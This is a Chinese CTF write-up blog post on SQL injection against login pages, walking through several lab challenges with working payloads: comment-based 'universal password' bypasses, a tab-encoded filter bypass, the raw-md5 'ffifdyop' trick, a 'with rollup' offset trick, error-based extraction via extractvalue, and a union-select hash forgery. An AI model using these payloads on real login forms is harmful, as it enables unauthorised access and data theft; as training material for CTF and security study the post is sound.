CTF| SQL注入之login界面类

作者: 漏斗社区 | 来源:发表于2017-10-25 16:46 被阅读0次

    SQL注入是CTF的WEB方向必不可少的一种题型,斗哥最近也做了一些在线题目,其中最常见的题目就是给出一个登录界面,让我们绕过限制登录或者一步步注入数据。

    万能密码—very easy

    题目入口:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php 

    题目来源:hacking lab inject 01~ 

    源代码有提示:

    万能密码登录语句构造:

    select * from admin where username='admin'and 1=1 #' and password='123456' OR 

    select * from admin where username='admin'or 1 #' and password='123456' 

    或者不需要admin。

    select * from admin where username='1'or 1 or 1 #' and password='123456' 

    还可以用#来注释。

    select * from admin where username='admin'#' and password='123456'

    万能密码— easy

    题目入口:http://redtiger.labs.overthewire.org/level2.php

    题目来源:RedTigers Hackit Level 2 Simple login-bypass 

    做题密码:4_is_not_random

    构造语句: username=1&password=1'or'1'or'1&login=Login 

    万能密码— not than easy

    题目入口: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 

    题目来源:实验吧,不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!  

    常规方式使用万能密码,发现'没有被过滤,or,--+,#被过滤 。

    假设后台sql查询语句为: 

    select * from user where username='$user' and password='$pass' 

    构造payload: 

    username=reborn'='&password=reborn'='

    select * from user where username='reborn'='' and password='reborn'=''

    username='reborn'返回值为0,相当于false,然后0=''的结果为1,相当于true。 所以注入语句相当于:

    select * from user where 1 and 1

    万能密码— little hard ?

    题目入口:http://123.59.52.228:1515/route.php?act=index 

    题目来源:2017年全国大学生信息安全竞赛的web题  

    提交的时候,返回包有提示这么一个sql语句:

    select count(*) from t_info where username = '1' or nickname = '1' ' 

    转义 \ \ 转义 \\ " 转义 \" 

    空格被过滤:但'可以转义掉原本的' 

    name=or 1 #'&submit=check 

    select count(*) from t_info where username = 'or1#\' or nickname = 'or1#\' 

    用%09代替空格,%09是制表符的URL编码 。

    name=or%091%09#'&submit=check 

    select count(*) from t_info where username = 'or 1 #\' or nickname = 'or 1 #\'good job 

    跟随302跳转。

    万能密码— md5($pass,true)

    题目入口:http://web.jarvisoj.com:32772/ 

    题目来源:jarvis oj,

    Login:需要密码才能获得flag哦。

    本题是一个登录页面。

    通过burp抓包拦截,返回包有提示:

     Hint: "select * from `admin` where password='".md5($pass,true)."'"* 

    md5(string,raw)*

    string 必需。规定要计算的字符串。

     raw 可选。规定十六进制或二进制输出格式: 

    TRUE - 原始 16 字符二进制格式•  

    FALSE - 默认。32 字符十六进制数如果md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串,则拼接后构成的语句为:

    select * from `admin` where password=''or'xxx'

    下面提供两个payload:

     content: 129581926211651571912466741651878684928 

     hex: 06da5430449f8f6f23dfc1276f722738 

     raw: ?T0D??o#??'or'8.N=?

     content: ffifdyop

     hex: 276f722736c95d99e921722cf9ed621c 

     raw: 'or'6蒥欓!r,b 

    类似题目: 

    题目入口:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/ 

    题目来源:hacking lab inject 09~ 

    看到源代码password='".md5($_GET['pwd'], true),就知道这道题和题目3的解法是一致的。 http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

    万能密码— with rollup

    题目入口: http://ctf5.shiyanbar.com/web/pcat/index.php

    题目来源:实验吧 

    访问链接是登录页面:  

    查看网页源代码有提示:  

    访问:http://ctf5.shiyanbar.com/web/pcat/source.txt 得到题目源代码'."

    从源代码得出,注入点在uname这个位置上,$filter没有过滤掉 or 注入成功要满足几个条件:1.mysql_num_rows($query) == 1 即查询返回的结果行数为12.$key['pwd'] == $_POST['pwd'] 即查询返回的结果与POST发送的pwd值相同解题: group by pass with rollup 的技巧mysql> select user from users group by user;+---------+| user    |+---------+| 1337    || admin  || gordonb || pablo  || smithy  |+---------+5 rows in setmysql> select user from users group by user with rollup;+---------+| user    |+---------+| 1337    || admin  || gordonb || pablo  || smithy  || NULL    |+---------+6 rows in set可以发现,在加上with rollup之后,返回pass最后一行多了一个NULL。当我们POST的pass为空,即可满足$key['pwd'] == $_POST['pwd']条件。如何让返回的结果只取最后一行呢? 因为过滤了,所以无法使用limit 5,1这样的语法 可以使用limit 1 offset 5mysql> select user from users group by 1 with rollup limit 1 offset 5;+------+| user |+------+| NULL |+------+1 row in set所以最终 payload 如下,2为遍历出来的值 uname=' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=万能密码— 程序逻辑题目入口: http://ctf5.shiyanbar.com/web/5/index.php 题目来源:实验吧,程序逻辑问题 本题源代码:http://ctf5.shiyanbar.com/web/5/index.txtconnect_error) {        die("Connection failed: " . mysql_error($conn));} $user = $_POST[user];$pass = md5($_POST[pass]);$sql = "select pw from php where user='$user'";$query = mysql_query($sql);if (!$query) {    printf("Error: %s\n", mysql_error($conn));    exit();}$row = mysql_fetch_array($query, MYSQL_ASSOC);//echo $row["pw"];  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {    echo "

    Logged in! Key:**************

    ";}else {    echo("

    Log in failure!

    ");  }}?>

    首先可以发现user处存在注入点,并且会回显错误信息,第一个想到的是报错注入。user=admin'and (extractvalue(1,concat(0x7e,(select pw from php where user ='admin' limit 0,1),0x7e)))#&pass=111结果密码并不是admin/111user=admin'and (extractvalue(1,concat(0x7e,(select pw from phpformysql.php limit 0,1),0x7e)))#&pass=111结果提示:  既然是程序逻辑漏洞,然就继续看代码吧。if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {    echo "

    Logged in! Key:**************

    ";}判断sql查询返回的值和$pass做比较。strcasecmp比较两个字符串,且不区分大小写,相等返回0。 既然user存在注入,我们可以让返回的结果为任何值,只要等于我们输入pass的md5值。

     如:reborn的md5加密的值为5ce3c6e5c3f84bdc0f45148adfd16ae6 。因此我们可以构造payload: user='union select '5ce3c6e5c3f84bdc0f45148adfd16ae6'#&pass=reborn

     结果:

    相关文章

      网友评论

        本文标题:CTF| SQL注入之login界面类

        本文链接:https://www.haomeiwen.com/subject/sniiyxtx.html